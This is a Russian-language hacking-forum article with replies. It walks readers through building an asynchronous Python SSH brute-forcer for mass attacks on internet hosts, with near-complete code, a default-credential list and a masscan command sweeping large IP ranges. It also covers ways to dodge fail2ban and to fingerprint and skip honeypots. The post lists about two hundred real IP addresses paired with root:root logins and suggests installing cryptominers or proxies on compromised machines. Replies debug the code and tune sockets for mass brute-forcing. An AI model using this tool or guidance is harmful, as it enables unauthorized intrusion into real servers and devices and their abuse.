• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем асинхронный ssh bruteforce на Python.

dort

RAID-массив
Пользователь
Регистрация
30.03.2020
Сообщения
94
Реакции
61
Депозит
0.004
Привет. Сегодня мы c вами вместе напишем прототип асинхронного скрипта для перебора ssh доступов на Python, который будет работать стабильней и быстрее чем такие инструменты как hydra и medusa.
А также может работать со списками ip выгруженными прямо из утилиты masscan.

О SSH
Если вдруг есть люди из танка:
SSH - это протокол прикладного уровня, позволяет удаленно управлять другим машинами, и пробрасывать (тунеллировать) трафик, (что-то типа vpn). Весь трафик проходящий по ssh протоколу - шифруется.
ssh повсеместно используется для управления серверами, ip камерами, роутерами и всем подобным. Должен сказать что устройств в сети которые поддерживают ssh - огромное количество. Обычно ssh работает по 22 порту, но бывают и исключения.

О нашем скрипте
Поскольку существуют такие системы как fail2ban то точечный брутфорс одного хоста без прокси - невозможен. Ибо после нескольких неудачных попыток ввода пароля, мы сразу-же получим бан.
По этому наш скрипт будет предназначен только для массовых атак, и работать следующим образом:
Мы будем делать итерации по списку хостов на предмет одной комбинации популярных логинов и паролей. После прохода итерации, пройдет достаточное время для того что-бы fail2ban нас не забанил, и скрипт пепейдет к следующей итерации уже с новой комбинацией логина и пароля.
Конечно с такой логикой работы наш скрипт это скорее "Парсер доступов со стандартными логинами и паролями" нежели брутфорс. Но зато есть один огромный плюс - нам не нужны прокси.

Почему на Python?
Так же как это работает с Правилом Интернета №34 которое гласит: "На любую популярную тему в интернете - есть порно".
Так же и с Python: "О чем бы ты не подумал - на это уже написана библиотека или обертка на python"
И в данном случае, всю грязную работу за нас уже сделала библиотека asyncssh.
Точнее сделал ее создатель
Рон Фредерик

Вот так выглядит настоящий хакер
1901085



Внимание! Возможно своим кодом ниже, я только вызову у вас возмущение, ненависть, боль и осознание того что мир обречен из за невежества подрастающего поколения.
Вместо бранных речей, в мою сторону, лучше укажите мне на мои ошибки, и я смиренно буду впитывать информацию, потому-что осознаю, что я всего-лишь холоп на просторах информационных технологий.

Начнем с импорта библиотек, которые нам понадобятся
Python:
import asyncio                     # Стандартная библиотека для работы с асинхронным кодом
import asyncssh                    # Блиблиотека для асинхронной работы с ssh протоколом
import argparse                    # Блиблиотека для парсинга аргументов командной строки
from itertools import islice       # Для работы со списком хостов
from asyncssh.misc import ConnectionLost, PermissionDenied, ProtocolNotSupported, ChannelOpenError, ProtocolError # Импортируем исключения
import re                                 # Для работы с регулярными выражениями


По сути, все что нам нужно сделать, для того что-бы узнать рабочий ли сервер, это аутентифицироваться и выполнить команду на удаленном сервере.
Если команда выполняется, значит сервер - гуд.
Для того что-бы наш скрипт не простаивал во время ожидания ответа от сервера, а занимался в это время полезными делами - нам и пригодится асинхронность.

Подробнее про асинхронное программирование в Python можно прочитать из этой статьи _ttps://habr.com/ru/post/337420/
Если в двух словах - есть цикл событий (event loop) в котором крутятся все задачи которые нужно выполнить. И есть корутины - это асинхронные функции, они запускаются из цикла событий.
Когда в нашем скрипте корутина достигает блокировки (ожидание ответа на запрос от сервера) управление передается следующей корутине. И так далее.
Таким образом можно делать очень много запросов практически одновремеенно.

Давайте напишем нашу корутину:

Python:
async def make_connection(ip, login, password):
    try:
        async with connect(ip, username=login, password=password, known_hosts=None) as conn:
            result = await conn.run('whoami', check=True, timeout=5)
            if result.stdout.strip().lower() == login:
                return 0
    except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
        return 1
    except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
        return 1
    except PermissionDenied:
        return 2
    except Exception:
        return 1


Что здесь произошло?
Tom_and_Jerry_meme.png

Выглядит наша корутина как обычная функция с префиксом async, принимает 3 агрумента ip, login, password. хост куда подключаемся и данные, с которыми логинимся соответственно.
Используя контекстный менеджер with получаем дескриптор подключения используя asyncssh.connect()ив параметрах передаем хост и данные, параметр known_hosts=None указывает, что не надо искать ключи подключения на компьютере, а сразу-же подключатся используя логин и пароль.
Сохраняем в переменную conn и вызываем метод run() с помощью которого в библиотеке asyncssh можно отправить команду в удаленный терминал.
В нашем случае отправляем whoami (команда должна вернуть имя пользователя).
Таким образом если мы будем коннектится с логином root, и whoami вернет root, значит сервер - валид.

Я знаю, что whoami - это далеко не самый идеальный способ проверки, но статья носит сугубо ознакомительный характер и служит для того что-бы показать пример.
Если вы знаете способ получше - то сообщите мне его.

Если ловим исключения связанные с подключением - возвращаем 1
Значит по каким-то причинам хост не отвечает.
Если ловим PermissionDenied - исключение связанные с неправильным логином и паролем - возвращаем 2
Значит не подошел пароль.
В случае успешного выполнения whoami на удаленном сервере - возвращаем 0

Что касается
Python:
except Exception:
Расскажу небольшую историю:
Я сам вообще не кодер, нигде никогда не работал и не учился, а просто клацал питон самостоятельно, дома.
И в моем обучении был момент истины, до которого все мои скрипты не работали, а после которого заработали.
Однажды мне товарищ питонист, сказал что без try: except Exception: ни один код в продакшене у них не работает.
После этого откровения все мои программы заработали)
И в нашем случае тоже, потому-что на самом деле бог его знает, сколько там еще ошибок вылезет от такого количества запросов.
Меня хватило только отловить несколько самых популярных, а остальное мы положим на плечи try: except Exception.


Едем дальше
Поскольку в методе asyncssh.connect нет параметра timeout, то мы обернем нашу корутину методом asyncio.wait_for() который как раз создан для таких ситуаций.
В методе asyncssh.run() параметр timeout есть, и он касается только ожидания ответа на нашу команду whoami, а не на подключение в целом.
asyncio.wait_for() принимает на вход корутину и время, за которое она должна выполнится. Если корутина не успевает выполниться - будет вызвано исключение asyncio.TimeoutError, которое мы благопалучно ловим.

asyncio.Semaphore служит ограничением в одновременно выполняемых корутин (в нашем случае, коннектов. Потому-что пул одновременных коннектов не резиновый)
Если не обернуть нашу корутину в Semaphore, то если вы загрузите 1 миллион хостов на проверку, то скрипт попытается выполнить миллион запросов одновременно.
Естественно операционная система, сам компьютер и интерпретатор пайтона все вместе пошлют нас куда подальше, при таких раскладах.
По этому Semaphore здесь необходим.

Python:
semaphore = asyncio.Semaphore(args.c)                    # Обьявляем наш семофор. Который будет ограничивать до количества указанного в параметре командной строки

async def work(ip, login, password, fh):
    async with semaphore:
        try:
            result = await asyncio.wait_for(make_connection(ip, login, password), timeout=args.timeout)

            if result == 1:
                save_result('bad', fh, ip, login, password)
            if result == 2:
                save_result('wrong', fh, ip, login, password)
            if result == 0:
                save_result('good', fh, ip, login, password)
            if result == 3:
                save_result('honeypot', fh, ip, login, password)

        except asyncio.TimeoutError:
            save_result('bad', fh, ip, login, password)

В зависимости от возврата корутины make_connection(), сохраняем данные в файл с помощью функции save_result() которую мы напишем и она кстати будет выглядеть вот так:
Python:
def save_result(file, file_handle, ip, login, password):
    print(f'{ip}:{login}:{password}', file=file_handle[file])
    if not args.dp:
        print(f'[{get_index()}]\t\t[{file}]\t\t{ip}')


fh - это словарь, в котором будет лежать дескриптор файла в который будем сохранять результат.
Мы заранее откроем все файлы, что-бы не тратить ресурс на их открытие каждый и поместим дескрипторы в переменную fh таким образом:

Python:
def open_files():
    files = {'good': open('good.txt', 'a'),
             'bad': open('bad.txt', 'a'),
             'wrong': open('wrong.txt', 'a'),
             'honeypot': open('honeypot.txt', 'a')}
    return files

fh = open_files()


Ну как бы, на этом почти все. Фундамент нашего супер-брутфорса уже положен, осталось только дописать парсинг хостов из файла и запуск наших корутин из цикла событий.

Загружаем файл с айпишниками:
Python:
def load_hosts():
    with open(f'{args.path}') as file:      # args.path - будущий параметр командной строки (путь к файлу)
        for line in file:
            yield ''.join(re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", line))

С помощью yield делаем из нашей функции - генератор, и читаем файл по одной строке. Для того что-бы не загружать весь файл в оперативную память.
Таким образом в наш скрипт можно будет смело загружать много миллионов хостов, и мы не будем боятся что он отвалится по памяти.
С помощью регулярного выражения "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" ищем в каждой строке ip адрес.
Это мы делаем для того, что-бы в наш скрипт был совместим с результативным логом утилит типа masscan и принимал списки даже такого вида:

Код:
Host: 221.34.0.15 () Ports:22/open/tcp///
Host: 143.22.75.1 () Ports:22/open/tcp///
Host: 43.12.55.1 () Ports:22/open/tcp///

Далее создаем функцию загрузки файла с заранее подготовленным списком комбинация логинов и паролей.

Python:
def load_credentials():
    with open('credentials.txt') as file:
        return [(line.split(':')[0], line.split(':')[1].strip()) for line in file.readlines()]

Возвращать будет наша функция load_credentials() кортеж вида (login, password).
Вот примерный список самых популярных комбинаций логинов и паролей, что мне удалось найти:

Python:
root:root
oracle:oracle
root:123456
root:abc123
root:password
root:default
admin:default
test:toor
root:dietpi
support:support
root:!@
ubnt:ubnt
ftp:ftp

Собственно этот список у нас и хранится в файле credentials.txt

Теперь давайте запилим цикл событий.
Поскольку если мы загрузим в наш цикл событий сразу-же много миллионов задач, то он попросту завалится и пошлет куда подальше.
По этому спомощью следующей хитрой конструкции со stackoverflow, мы будем подавать нашему скрипту хосты кусками по 100 000 штук, для стабильности.

Python:
def chunks(n, iterable):
    i = iter(iterable)
    piece = list(islice(i, n))
    while piece:
        yield piece
Запускать будем нашу корутину work() из другой корутины run()

Python:
async def run(targets, login, password, fh):
    tasks = []
    for target in targets:
        tasks.append(work(target, login, password, fh))
    await asyncio.gather(*tasks)

Генерируем задачи и добавляем их в цикл событий.
Для каждого чанка, создаем новый цикл событий и перезапускаем его.

Python:
def main():
    targets = chunks(100000, load_hosts())                                # Делим хосты на куски по 100 000
    for login, password in load_credentials():                            # Обходим циклом каждый логин и пароль в credentials
        for chunk in targets:                                            # Обходим циклом каждый кусок списка хостов
            loop = asyncio.get_event_loop()                                # Создаем цикл событий
            future = asyncio.ensure_future(run(chunk, login, password))    # формируем задания
            loop.run_until_complete(future)                             # Запускаем


Вуа-ля. Наш скрипт почти готов.
Но остались еще небольшие нюансы. Поскольку мы пишем скрипт для людей, то надо реализовать парсинг параметров командной строки.

А для того, что-бы наш был настоящим хакерским скриптом, то надо придумать какой-нибудь пафосное название, как medusa или hydra.
Поскольку мне нравятся мечи, то пусть будет katana.
И еще одина неотъемлемая часть нашего хакерского инструмента - это ASCII арт в заголовке.

Python:
intro = ['                                      ',
         '          katana - the ssh bruteforce tool',
         '              /\\',
         '  /vvvvvvvvvvvv \--------------------------------------,',
         '  `^^^^^^^^^^^^ /====================================="',
         '              \/',
         '                  by dortmund457']

Что-бы все знали кто тут крутой хакер (пишущий 100-строчный сырой скрипт на питоне и на готовых библиотеках), обязательно надо добавить by ваш_ник.

Парсим параметры командной строки:
Python:
def parse_args():
    parser = argparse.ArgumentParser(description='katana - the ssh bruteforce tool')
    parser.add_argument('path', type=str, help='path to hosts file')
    parser.add_argument('-c', '--connections',  type=int, default=250, help='count of parallel connections')
    parser.add_argument('-t', '--timeout', type=int, default=7, help='timeout')
    parser.add_argument('-dp', action='store_true', help='disable stdout printing')
    return parser.parse_args()

В итоге имеем обязательный параметр path, в который надо передать путь до файла с хостами.
И 3 необязательных -с и -t отвечающих за количество потоков (asyncio.Semaphore), и таймаут.
Ну и -dp который отключает вывод в stdout (для ускорения экономии ресурсов)
В итоге запускать скрипт надо будет таким образом.

python3 katana.py /home/bomj/hosts.txt -c 300 -t 15

О скорости
Поскольку я холоп, я не знаю какое количество одновременных запросов можно делать с одного хоста. Насколько мне известно это зависит от операционной системы.
По моим наблюдениям оптимальное количество параллельных запросов - 300. Но можно поиграться с этим числом.
300 параллельных коннектов с таймаутом в 5 секунд выдадут:

3600 попыток в минуту
216 000 попыток в час
5 184 000 попыток в сутки

Не могу сказать много это или мало, но это больше чем выдавала hydra и medusa.
А если быть более точным, они не выдают такой результат потому-что в отличии от нашего скрипта - отваливаются спустя 100 000 хостов.

Список хостов можно добыть с помощью утилиты nmap или masscan
Для массового скана рекомендую использовать последний.
Установить его на ubuntu\debian системах можно так:
apt-get install masscan
На винду тоже есть:
_ttps://github.com/robertdavidgraham/masscan/releases
А запускать его такой командой:
masscan -p22 0.0.0.0-50.0.0.0 --rate=10000 -oG hosts.txt
Где 0.0.0.0-50.0.0.0 это диапазон ip
-p22 это наш 22ой ssh порт
--rate=10000 количество потоков, не рекомендую ставить больше 10 000 хотя можно хоть 300 000 и будет работать, но недолго ;)
-oG записываем результат в файл hosts.txt


О плохом и плохих людях...
O honey pot'ах и умников которые их разрабатывают.
Есть умники, которым заняться не чем и они начинают писать всякую х*ню, для того что-бы нагадить нормальным парням, вроде нас.
Вот неполный список умников и того что они написали:
Код:
_ttps://github.com/desaster/kippo
_ttps://github.com/droberson/ssh-honeypot
_ttps://github.com/cowrie/cowrie
Лучше бы нормальным делом занялись.

tomhoney.jpg


Что такое honeypot?
Ну если грубо, то эмулятор рабочего ssh подключения, который не является настоящим устройством, а специально разработан, для того что-бы отлавливать таких как мы и более того - смотреть, с какими паролями мы подключаемся и что мы делаем на сервере, когда получим доступ.
Но по факту, к ханипотам подходят любая комбинация из логинов и паролей.
Для того что-бы потом накатать на нас абузу дяде Сему.
Крысятничество - вот истинная сущность honey pot ов.
Ибо 98% всех наших гудов - будут именно honeypot'ы.
Знали бы они, как моя искренняя радость, от вида файла good.txt пополняющегося доступами - заменяется негодованием когда понимаешь что все эти доступы - мусор.

Как c ними бороться?
Ну насколько я понимаю так-же как и малваре-писатели борются с песочницами. Надо высмотреть какой-то параметр системы, который есть именно у песочницы или виртуалки.
Будть то наличие диска D:\ на windows системах, id драйверов итд. Так - же и нам, надо поковырять систему... а если быть точным - много систем одинакового типа, для того что-бы определить 1 общий параметр у honeypot'ов, по которому мы будем их исключать. По буржуйски это называется фингерпринтинг.

Код:
root:root:118.89.25.121
root:root:119.160.131.176
root:root:123.206.108.219
root:root:123.59.120.95
root:root:123.59.213.102
root:root:123.207.107.83
root:root:123.59.213.136
root:root:123.59.213.25
root:root:128.0.186.230
root:root:123.59.213.82
root:root:123.59.213.77
root:root:129.205.5.186
root:root:115.110.207.121
root:root:123.59.213.79
root:root:13.232.93.179
root:root:13.211.74.111
root:root:13.211.31.230
root:root:123.59.213.85
root:root:13.250.104.221
root:root:134.209.188.85
root:root:132.147.91.145
root:root:13.250.64.15
root:root:13.233.123.67
root:root:134.209.192.195
root:root:134.209.247.68
root:root:134.209.24.140
root:root:134.122.28.67
root:root:134.209.77.174
root:root:134.209.152.254
root:root:134.209.25.247
root:root:134.209.99.171
root:root:13.52.218.70
root:root:13.58.234.170
root:root:13.58.84.254
root:root:13.59.146.46
root:root:138.197.165.238
root:root:138.197.142.60
root:root:138.197.155.137
root:root:138.197.140.147
root:root:138.68.62.134
root:root:138.68.62.24
root:root:139.59.23.196
root:root:138.68.53.175
root:root:138.68.59.241
root:root:139.180.144.190
root:root:138.68.57.220
root:root:139.180.137.112
root:root:139.59.61.68
root:root:139.180.213.82
root:root:139.59.20.60
root:root:139.178.108.63
root:root:139.59.69.23
root:root:139.59.70.64
root:root:139.59.39.126
root:root:139.59.77.170
root:root:139.59.40.28
root:root:139.59.58.113
root:root:139.59.92.207
root:root:139.59.95.39
root:root:139.59.79.115
root:root:139.59.92.226
root:root:142.93.128.164
root:root:139.59.78.53
root:root:139.59.95.41
root:root:141.170.139.62
root:root:142.93.55.88
root:root:142.93.82.94
root:root:142.93.68.68
root:root:151.96.2.68
root:root:142.93.19.63
root:root:167.71.158.217
root:root:167.172.97.186
root:root:18.156.163.184
root:root:167.172.97.175
root:root:18.156.165.232
root:root:18.156.173.67
root:root:165.22.106.216
root:root:153.127.16.167
root:root:178.128.84.186
root:root:18.138.58.37
root:root:18.139.255.161
root:root:139.59.8.37
root:root:1.65.155.155
root:root:18.197.40.88
root:root:18.162.48.21
root:root:18.208.142.77
root:root:18.221.47.178
root:root:18.212.96.94
root:root:185.167.184.63
root:root:194.213.60.70
root:root:194.228.3.52
root:root:200.70.38.5
root:root:193.165.172.18
root:root:209.97.152.252
root:root:201.234.91.59
root:root:193.165.115.238
root:root:196.0.42.110
root:root:210.149.76.192
root:root:213.144.147.49
root:root:213.211.54.140
root:root:210.69.12.79
root:root:213.220.214.202
root:root:220.242.130.193
root:root:213.194.253.117
root:root:217.30.77.180
root:root:217.170.103.137
root:root:3.0.51.68
root:root:216.104.206.228
root:root:31.134.100.205
root:root:24.35.86.207
root:root:24.247.231.170
root:root:3.127.235.39
root:root:3.12.73.105
root:root:31.208.216.151
root:root:34.202.160.161
root:root:31.31.231.153
root:root:31.47.99.177
root:root:3.248.209.133
root:root:34.210.126.30
root:root:34.201.92.252
root:root:34.228.8.33
root:root:34.243.131.202
root:root:34.229.202.21
root:root:34.252.18.236
root:root:34.245.34.255
root:root:34.201.105.107
root:root:34.242.128.182
root:root:35.175.122.13
root:root:24.62.28.8
root:root:34.93.228.186
root:root:35.185.167.211
root:root:34.93.147.233
root:root:35.176.29.24
root:root:37.187.120.109
root:root:35.200.133.234
root:root:35.229.196.157
root:root:35.200.181.232
root:root:37.17.234.117
root:root:37.221.254.179
root:root:37.143.116.69
root:root:3.80.111.151
root:root:37.143.114.239
root:root:3.84.213.22
root:root:37.44.20.140
root:root:3.217.16.191
root:root:3.87.116.114
root:root:3.87.173.172
root:root:3.88.187.21
root:root:3.90.29.58
root:root:3.90.199.41
root:root:3.94.194.91
root:root:3.106.131.246
root:root:41.77.78.250
root:root:45.151.175.210
root:root:41.210.129.102
root:root:41.210.129.106
root:root:45.32.41.174
root:root:45.32.118.207
root:root:45.56.75.90
root:root:46.101.34.252
root:root:45.76.151.112
root:root:45.59.126.152
root:root:46.231.72.124
root:root:45.65.244.133
root:root:45.92.238.189
root:root:46.183.57.45
root:root:46.227.182.3
root:root:46.13.58.131
root:root:46.149.120.37
root:root:46.231.72.58
root:root:46.231.72.43
root:root:46.13.100.254
root:root:46.13.170.103
root:root:45.82.233.13
root:root:46.13.30.40
root:root:46.228.24.222
root:root:46.167.231.173
root:root:46.39.185.7
root:root:45.79.212.97
root:root:46.33.117.7
root:root:46.47.166.2
root:root:46.33.119.203
root:root:46.39.164.4
root:root:46.253.99.15
root:root:46.13.59.196
root:root:5.104.16.71
root:root:47.186.38.102
root:root:5.181.51.248
root:root:52.14.192.9
root:root:5.135.189.97
root:root:51.68.106.175
root:root:5.150.236.53
root:root:52.170.187.145
root:root:52.183.13.164
root:root:52.193.202.226
root:root:49.245.126.208
root:root:52.53.167.53
root:root:52.47.137.28

Попробуем найти что-нибудь общее.
Посмотрим состояние дисков командой df и сравним вывод разных ханипотов.

image_2020-06-26_11-35-59.png
image_2020-06-26_11-36-07.png


Сразу же видим, что умники создающие ханипоты, не такие уж и умники.
Ибо название диска '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af' - общее для всех ханипотов.

Давайте воспользуемся этим изменим нашу основную корутину и отфильтруем нечестивые доступы.

Python:
kippo = '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af'


def is_honeypot(text):
    if kippo in text:
        return True
    else:
        return False

async def make_connection(h, l, p):
    try:
        async with connect(h, username=l, password=p, known_hosts=None) as conn:
            whoami = await conn.run('whoami', check=True, timeout=args.timeout)
            if whoami.stdout.strip().lower() == l:
                if args.ch:
                    df = await conn.run('df', check=True, timeout=args.timeout)
                    if is_honeypot(df.stdout.strip().lower()):
                        return 3
                return 0
    except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
        return 1
    except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
        return 1
    except PermissionDenied:
        return 2
    except Exception :
        return 1

Таким образом у нас появился новый код возврата - 3, что означает что хост honeypot.
Так-же поскольку, для проверки хоста мы делаем второй запрс - а это в 2 раза режет скорость нашего чека.
То давайте вынесем функционал проверки под аргумент командной строки -ch и таким образом, проверка хоста на нечестивость будет опциональной функцией.
Python:
parser.add_argument('-ch', action='store_true', help='check if host is honeypot')
И можно будет проверит список гудов отдельной проверкой.

На этом все. Полный скрипт прикриплен к теме в архиве.


Что можно еще допиливать в скрипте?
Очень много всего.
В первую очередь можно допилить БД, и записывать результаты туда.
Можно и нужно, отфильтровать оставшиеся ханипоты.
Можно распараллелить работу на несколько ядер используя multiprocessing.
Можно пилить авторазвертывание скрипта на свежеполученных доступах.

Зачем вообще брутить ssh?
Конечно же ради заветных доступов.
Как можно их использоавть?
Да по разному. Можно ставить xmrig, можно подымать прокси-сервер или vpn, а можно дублировать на них наш скрипт и продолжать брутить.
Конечно же большинство доступов будут ip камеры, и девайсы на которых очень маленький запас ресурсов. Но встречаются и высокопроизводительные серверы, и хранилища по 20TB.


В завершение...

med_1425408725_image.jpg


Хочу поблагодарить всех прочитавших, если вы осилили это до конца значит я не зря старался.
Если вам интересна тема брута ssh, то приглашаю обсуждать в тему /threads/37303/ или пишите мне в личку, обменяемся опытом и вместе сделаем че-нибудь получше этого.


Пароль от архива: xss.pro
Для людей которые не читали и сразу-же качают скрипт.

python katana.py /путь/к/спискуip.txt
Результат будет записан в директории из которой запускается скрипт в файлах.
bad.txt - плохие ip
wrong.txt - рабочие сервера, но пароль неправильный (на речек)
good.txt - найденные сервера
honeypot.txt - ханипоты
Описание параметров:
python katana.py --help
-t таймаут в секундах (по дефолту 7)
-с количество параллельных соеденений (по дефолту 250)
-ch чекать на ханипоты (без параметра не чекается, скорость падает в 2 раза, лучше всего чекать уже good.txt
Для работы скрипта необходим интерпретатор Python версии не ниже 3.6
А так-же библиотека asyncssh

pip install asyncssh
или
python -m pip install asyncssh
 

Вложения

  • katana.zip
    2.2 КБ · Просмотры: 131
Последнее редактирование:
Отлично но вопрос а Гидра и Спарта в кали уже не в моде не?
Не скажу ничего по поводу Спарты, но Гидра, Медуза, patator и еще огромная куча паблик инструментов для брута ssh - фактически не работают.
Запускаются, но спустя 100 000 хостов - отваливаются или теряют скорость до нуля в секунду.
Если бы они работали стабильно, мне бы и в голову не пришло изобретать этот велосипед.

upd: Спарта это gui обертка Гидры
https://github.com/SECFORCE/sparta
 
Последнее редактирование:
При любом массовом бруте есть подводный камень: если сокеты закрываются обычным способом, т.е. через close(socket), то сокет переходит в состояние TIME_WAIT и остаётся в нем в течении некоторого времени.
Это можно заметить по выводу команды "netstat -antp | grep WAIT"
Таким образом, при большом количестве одновременных соединений, в ОС постепенно исчерпывается диапазон эфемерных tcp портов, которые используются для установки новых соединений. Это выглядит как уменьшение скорости брута или в пропусках гудов.
В питоне не силён, но на С проблема решается так:

C:
struct linger sl;
sl.l_onoff = 1;
sl.l_linger = 0;
setsockopt(sock, SOL_SOCKET, SO_LINGER, &sl, sizeof(sl));

После этого закрытие сокетов будет проходить по упрощенной схеме - посылкой RST пакета, вместо нормально обмена FIN-пакетами.
 
При любом массовом бруте есть подводный камень: если сокеты закрываются обычным способом, т.е. через close(socket), то сокет переходит в состояние TIME_WAIT и остаётся в нем в течении некоторого времени.
Это можно заметить по выводу команды "netstat -antp | grep WAIT"
Таким образом, при большом количестве одновременных соединений, в ОС постепенно исчерпывается диапазон эфемерных tcp портов, которые используются для установки новых соединений. Это выглядит как уменьшение скорости брута или в пропусках гудов.
В питоне не силён, но на С проблема решается так:

C:
struct linger sl;
sl.l_onoff = 1;
sl.l_linger = 0;
setsockopt(sock, SOL_SOCKET, SO_LINGER, &sl, sizeof(sl));

После этого закрытие сокетов будет проходить по упрощенной схеме - посылкой RST пакета, вместо нормально обмена FIN-пакетами.
Спасибо за полезный комментарий.
Как холоп пишущий на питоне, я не знаю как закрывает соединение asyncssh, но как буду у компа - выясню, и если там соединения закрывается FIN пакетом - выложу обновленный код.
 
Вот каждый, кто на этом форуме изучал питон пытался написать свой ssh-брут.
За материал благодарю. Пока ваша реализация лидирует в перечне того, что здесь мне показывали. С чувством, толком, расстановкой. Да и просто полезно новичкам будет. Они любят халяву и желают нагнуть этот мир одним движением руки.
 
Вот каждый, кто на этом форуме изучал питон пытался написать свой ssh-брут.
Не каждый. Есть-же patator :)
 
Пароль от архива: xss.pro
Для людей которые не читали и сразу-же качают скрипт.

python katana.py /путь/к/спискуip.txt
Результат будет записан в директории из которой запускается скрипт в файлах.
bad.txt - плохие ip
wrong.txt - рабочие сервера, но пароль неправильный (на речек)
good.txt - найденные сервера
honeypot.txt - ханипоты
Описание параметров:
python katana.py --help
-t таймаут в секундах (по дефолту 7)
-с количество параллельных соеденений (по дефолту 250)
-ch чекать на ханипоты (без параметра не чекается, скорость падает в 2 раза, лучше всего чекать уже good.txt
Для работы скрипта необходим интерпретатор Python версии не ниже 3.6
А так-же библиотека asyncssh

pip install asyncssh
или
python -m pip install asyncssh
Данным блоком своей статьи ты, имхо, добавил и себе проблем , и под-убил интерес к прочтению новичков, ведь практически все статьи в данном курсе на них и рассчитаны. Сейчас к тебе в лс налетят ламмеры и будут спрашивать как установить питон ;). Достаточно было оставить ссылку на git , а дальше уже, если интересна тема, то вперёд к морям и океанам.
 
Очень интересный вариант брутфорса ssh.
Я пока не запускал скрипт, но беглый анализ кода напоминает ошибку.
В функции "def make_connection(ip, login, password)" ,
connect - является методом модуля asyncssh.
Теоретически, в этом месте должна возникать ошибка.
Или я не прав ?

async with connect(ip, username=login, password=password, known_hosts=None) as conn:

async with asyncssh.connect(ip, username=login, password=password, known_hosts=None) as conn:
 
Очень интересный вариант брутфорса ssh.
Я пока не запускал скрипт, но беглый анализ кода напоминает ошибку.
В функции "def make_connection(ip, login, password)" ,
connect - является методом модуля asyncssh.
Теоретически, в этом месте должна возникать ошибка.
Или я не прав ?

async with connect(ip, username=login, password=password, known_hosts=None) as conn:

async with asyncssh.connect(ip, username=login, password=password, known_hosts=None) as conn:
ТС неправильно привел код импорта.
Разумеется должно быть
from asyncssh import connect
Либо вариант предложенный Вами.
Но в скрипте из архива все сделано без ошибки (from asyncssh import connect)
 
Следующая ошибка:
Краткое описание: Чекает один и тот же диапазон, заново пробегаясь по нему с одними и теми же auth data (root:root)

Неправильно сделана нарезка

Код:
from itertools import islice
def chunks(n, iterable):
    i = iter(iterable)
    piece = list(islice(i, n))
    while piece:
        yield piece

Если мы немного поэкспериментируем, и заюзаем код так же, как это и используется в оригинальном коде,

Код:
bar = chunks(2, ['a', 'b', 'c', 'd'])
for foo in bar:
    print(foo)

То код будет бесконечно выводить:
Код:
['a', 'b']
['a', 'b']
['a', 'b']
['a', 'b']

Полагаю что ТС тестировал на больших списках ip и не заметил этого.

Правильно будет сделать

Код:
def chunks(n, iterable):
    i = iter(iterable)
    piece = list(islice(i, n))
    while piece:
        yield piece
        piece = list(islice(i, n))

После этих исправлений видим, что пробегается только по одному auth data. Это происходит потому что генератор хостов для атаки "закончился". Он исчерпал список, и теперь, просто возвращает пустоту. Требуется его перезапускать. Тогда он вернется к началу. А наше правое дело продолжит свой ход.
Для фикса этого требуется изменить функцию main следующим образом:

Код:
def main():
    fh = open_files()
    for login, password in load_credentials():
        targets = chunks(100000, load_hosts())
        for chunk in targets:
            loop = asyncio.get_event_loop()
            future = asyncio.ensure_future(run(chunk, login, password, fh))
            loop.run_until_complete(future)
    close_files(fh)
 
Последнее редактирование:
Следующая ошибка:
Краткое описание: Чекает один и тот же диапазон, заново пробегаясь по нему с одними и теми же auth data (root:root)

Неправильно сделана нарезка
Я этот кусок кода, разделения массива на чанки - тупо скопипастил.
Отсюда и ноги растут.
Огромное спасибо за комментарий.
Как будет время - отредактирую скрипт.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх